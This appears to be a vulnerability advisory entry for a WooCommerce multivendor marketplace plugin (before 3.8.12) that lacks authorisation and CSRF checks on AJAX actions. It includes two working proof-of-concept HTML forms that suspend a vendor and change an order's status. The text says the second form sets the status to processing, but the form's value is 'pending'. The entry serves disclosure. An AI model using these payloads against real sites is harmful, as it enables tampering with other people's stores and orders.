Multivendor Marketplace Solution for WooCommerce < 3.8.12 - Unauthorised AJAX Calls

2022-08-1500:00:00

ptsfence

157

0.001 Low

EPSS

Percentile

21.4%

JSON

The plugin is lacking authorisation and CSRF in multiple AJAX actions, which could allow any authenticated users, such as subscriber to call them and suspend vendors (reporter by the submitter) or update arbitrary order status (identified by WPScan when verifying the issue) for example. Other unauthenticated attacks are also possible, either directly or via CSRF

To suspend a vendor, open this as any authenticated user, or via a CSRF against any logged in one

<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php?action=wcmp_suspend_vendor" method="POST" enctype="multipart/form-data">
<input type="hidden" name="user_id" value="3">
<input type="hidden" name="redirect" value="true">
<input type="submit" name="Submit">
</form>
</body>
</html>

To update the order status of the order with ID 2 to processing:

<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php?action=wcmp_order_status_changed" method="POST">
<input type="text" name="order_id" value="2">
<input type="text" name="selected_status" value="pending">
<input type="submit" name="Submit" value="Submit">
</form>
</body>
</html>

0.001 Low

EPSS

Percentile

21.4%

JSON

Related for WPEX-ID:C600DD04-F6AA-430B-AEFB-C4C6D554C41A